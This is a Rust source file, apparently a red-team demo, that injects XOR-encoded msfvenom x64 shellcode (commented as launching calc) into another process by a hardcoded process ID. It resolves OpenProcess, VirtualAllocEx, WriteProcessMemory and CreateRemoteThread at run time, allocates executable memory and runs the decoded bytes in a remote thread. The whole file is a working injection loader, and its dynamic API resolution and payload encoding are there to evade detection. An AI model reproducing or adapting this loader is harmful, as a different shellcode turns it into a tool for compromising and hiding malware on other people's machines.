/* * Rust basic Process injection using OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThread * API dynamic resolution and shellcode XOR encoded */ #[allow(non_camel_case_types)] type HANDLE = *mut u64; #[allow(non_camel_case_types)] type LPVOID = *mut u64; #[allow(non_camel_case_types)] type DWORD = u32; #[allow(non_camel_case_types)] type SIZE_T = u64; #[allow(non_camel_case_types)] type BOOL = DWORD; #[allow(non_camel_case_types)] type LPCVOID = *const u8; #[allow(non_camel_case_types)] type LPCSTR = *const u8; #[link(name = "KERNEL32")] extern { fn GetProcAddress(hModule: HANDLE, lpProcName: LPCSTR) -> LPVOID; fn LoadLibraryA(lpLibFileName: LPCSTR) -> HANDLE; fn GetLastError() -> DWORD; } fn load_fn(dll: HANDLE, fn_name: &str) -> LPVOID{ unsafe{ let fn_ptr: LPVOID = GetProcAddress(dll, fn_name.as_ptr()); if fn_ptr.is_null(){ panic!("[x] Failed to load the function {} with error code {}", fn_name, GetLastError()); } println!("[+] Function {} loaded at {:?} !", fn_name, fn_ptr); return fn_ptr } } fn main() { // 32byte XOR key let key: [u8;32] = [ 0xc7,0x4d,0xfd,0x7b,0xc6,0xb0,0x9b,0x26,0xe7,0xbe,0x12,0x3a,0xf5,0x31,0xbc, 0x1e,0xa1,0x73,0xa9,0x96,0xb,0xdb,0x84,0xad,0xfe,0xda,0xb6,0xad,0xd0,0x5f, 0xd8,0xf0 ]; // MSFVENOM calc shellcode x64 let mut shellcode: [u8;276] = [ 0x3b,0x05,0x7e,0x9f,0x36,0x58,0x5b,0x26,0xe7,0xbe,0x53,0x6b,0xb4,0x61,0xee, 0x4f,0xf7,0x3b,0x98,0x44,0x6e,0x93,0x0f,0xff,0x9e,0x92,0x3d,0xff,0xc8,0x17, 0x53,0xa2,0xe7,0x05,0x76,0x09,0x96,0xf8,0x94,0x91,0xad,0xf4,0x5f,0x0b,0x3c, 0x79,0x8d,0xde,0x0d,0x4f,0xc8,0xea,0x09,0xf7,0xa4,0xec,0x3f,0x13,0xbb,0xec, 0xd1,0x9e,0x3a,0x1d,0x95,0x0c,0xac,0x33,0x4d,0xe2,0xbb,0xad,0xa5,0x82,0x5a, 0x3b,0x25,0xba,0x3c,0x96,0xa1,0x73,0xa9,0xde,0x8e,0x1b,0xf0,0xca,0xb6,0xdb, 0x66,0xfd,0x5b,0x17,0xc0,0xb4,0x4c,0x0d,0xdd,0x32,0xc7,0x60,0x78,0x70,0xaf, 0x41,0xdb,0x7b,0x7e,0x05,0x34,0x56,0xa0,0xa5,0xe4,0xa7,0xc2,0x93,0xb5,0x6d, 0x52,0x9b,0x77,0x64,0xdd,0x1e,0xd9,0x31,0xff,0xad,0x88,0x8a,0x8a,0xb3,0xd7, 0x02,0xef,0xfb,0x2b,0xeb,0x80,0xe9,0xe4,0x5a,0x2a,0x33,0x8d,0xdf,0x0a,0x0b, 0xe2,0xec,0x75,0xd6,0xfe,0xe9,0x5b,0x1f,0xc4,0xb9,0xc6,0x9d,0xbc,0xf0,0xc2, 0x38,0xd3,0x27,0x37,0xff,0x4a,0x7b,0xad,0x6f,0xe5,0x44,0xe0,0x2b,0xe8,0xcf, 0x4a,0x81,0xcc,0x2e,0x12,0xfa,0xf7,0xff,0x2f,0xbf,0x80,0xb1,0x9e,0x17,0xb5, 0xf0,0xd4,0x59,0xcc,0xd9,0x18,0x41,0x4f,0x72,0x4f,0x30,0xbc,0x1e,0xa1,0x73, 0xa9,0x96,0x0b,0x93,0x09,0x20,0xff,0xdb,0xb6,0xad,0x91,0xe5,0xe9,0x7b,0xa8, 0xca,0x02,0xae,0x7d,0x40,0x2e,0x84,0xb1,0xff,0xa8,0x9c,0x60,0x8c,0x21,0xe1, 0x74,0x3b,0x2a,0x52,0x23,0xe7,0x82,0xd1,0xf4,0x5a,0x4d,0x4d,0xa5,0x5a,0x63, 0xb7,0xd4,0x3f,0x92,0x11,0xc6,0xe9,0xda,0xaf,0x3d,0x41,0xc7,0x59,0x94,0x5d, 0xdf,0x30,0xc4,0xb,0xcc,0x96 ]; // Process targeted let pid: u32 = 11444; let k32_handle: LPVOID = unsafe{LoadLibraryA("kernel32\0".as_ptr())}; if k32_handle.is_null(){ panic!("[x] Failed to load the module with error code {}", unsafe{GetLastError()}); } println!("[+] Module Kernel32 successfully loaded !"); // Loading WIN32API let open_process: extern "stdcall" fn ( dwDesiredAccess: DWORD, bInheritHandle: DWORD, dwProcessId: DWORD) -> HANDLE = unsafe{ std::mem::transmute(load_fn(k32_handle, "OpenProcess\0")) }; let virtual_alloc_ex: extern "stdcall" fn (hProcess: HANDLE, lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) -> LPVOID = unsafe{ std::mem::transmute(load_fn(k32_handle, "VirtualAllocEx\0")) }; let write_process_memory: extern "stdcall" fn (hProcess: HANDLE, lpBaseAddress: LPVOID, lpBuffer: LPCVOID, nSize: SIZE_T, lpNumberOfBytesWritten: *mut SIZE_T) -> BOOL = unsafe{ std::mem::transmute(load_fn(k32_handle, "WriteProcessMemory\0")) }; let create_remote_thread: extern "stdcall" fn (hProcess: HANDLE, lpThreadAttributes: LPVOID, dwStackSize: SIZE_T, lpStartAddress: LPVOID, lpParameter: LPVOID, dwCreationFlags: DWORD, lpThreadId: *mut DWORD) -> HANDLE = unsafe{ std::mem::transmute(load_fn(k32_handle, "CreateRemoteThread\0")) }; for (count, value) in shellcode.clone().iter_mut().enumerate(){ shellcode[count] = *value ^ key[count%key.len()]; } // Opening the remote process let process_all_access: u32 = 0x1fffff; let process_handle: HANDLE = open_process(process_all_access, 0, pid); // Exit of the process has not been opened if process_handle.is_null(){ panic!("[x] Failed open the process {}", unsafe{GetLastError()}); }; println!("[+] Opening process {}", pid); // Allocate space for the shellcode let remote_buffer: HANDLE = virtual_alloc_ex(process_handle, std::ptr::null_mut(), shellcode.len() as u64, 0x00001000 | 0x00002000, 0x40); assert!(!remote_buffer.is_null()); println!("[+] Buffer allocated at : {:?}", remote_buffer); // Write shellcode in memory let mut bytes_written: SIZE_T = 0; let status: BOOL = write_process_memory(process_handle, remote_buffer, shellcode.as_ptr(), shellcode.len() as u64, &mut bytes_written); assert!(status != 0); println!("[+] {} bytes written at {:?}", bytes_written, remote_buffer); // Run the shellcode let mut _thread_id: DWORD = 0; let thread_handle: HANDLE = create_remote_thread(process_handle, std::ptr::null_mut(), 0, remote_buffer, std::ptr::null_mut(), 0, &mut _thread_id); assert!(!thread_handle.is_null()); println!("[+] Shellcode injected !"); }